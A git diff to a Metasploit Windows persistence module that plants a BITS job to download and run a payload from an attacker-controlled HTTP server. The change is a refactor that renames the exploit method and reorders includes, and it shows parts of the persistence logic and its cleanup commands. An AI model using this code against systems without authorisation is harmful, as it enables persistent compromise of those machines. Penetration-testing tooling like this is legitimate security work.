diff --git a/modules/exploits/windows/persistence/bits.rb b/modules/exploits/windows/persistence/bits.rb
index afda22dbf56f8..1093d94b1067b 100644
--- a/modules/exploits/windows/persistence/bits.rb
+++ b/modules/exploits/windows/persistence/bits.rb
@@ -8,8 +8,8 @@ class MetasploitModule < Msf::Exploit::Local
 
   include Msf::Post::Windows::Priv
   include Msf::Post::File
-  include Msf::Exploit::Local::Persistence # persistence and HttpServer get funky together with overwriting exploit function
   include Msf::Exploit::Remote::HttpServer
+  include Msf::Exploit::Local::Persistence # persistence and HttpServer get funky together with overwriting exploit function
   include Msf::Exploit::EXE
   prepend Msf::Exploit::Remote::AutoCheck
 
@@ -48,7 +48,7 @@ def initialize(info = {})
           'h00die',
         ],
         'Platform' => [ 'win' ],
-        'Arch' => [ARCH_X86, ARCH_X64],
+        'Arch' => [ ARCH_X86, ARCH_X64 ],
         'SessionTypes' => [ 'meterpreter' ],
         'Targets' => [
           [ 'Automatic', {} ]
@@ -188,10 +188,8 @@ def check
     Msf::Exploit::CheckCode::Vulnerable('Likely exploitable')
   end
 
-  # def install_persistence
-  def exploit
+  def install_persistence
     @pload = generate_payload_exe
-    install_persistence
     endpoint = Rex::Text.rand_text_alphanumeric(8..12)
     if datastore['SRVHOST'] == '0.0.0.0' || datastore['SRVHOST'] == '::'
       fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful')
@@ -241,6 +239,5 @@ def exploit
     print_good("Persistence installed! Payload will be downloaded to #{writable_dir}\\#{payload_name} when the BITS job #{job_name} runs.")
     @clean_up_rc << "bitsadmin /cancel \"#{id}\"\n"
     @clean_up_rc << "rm \"#{(writable_dir + '\\' + payload_name).gsub('\\', '/')}\"\n" # just in case one did execute
-    @persistence_service.wait
   end
 end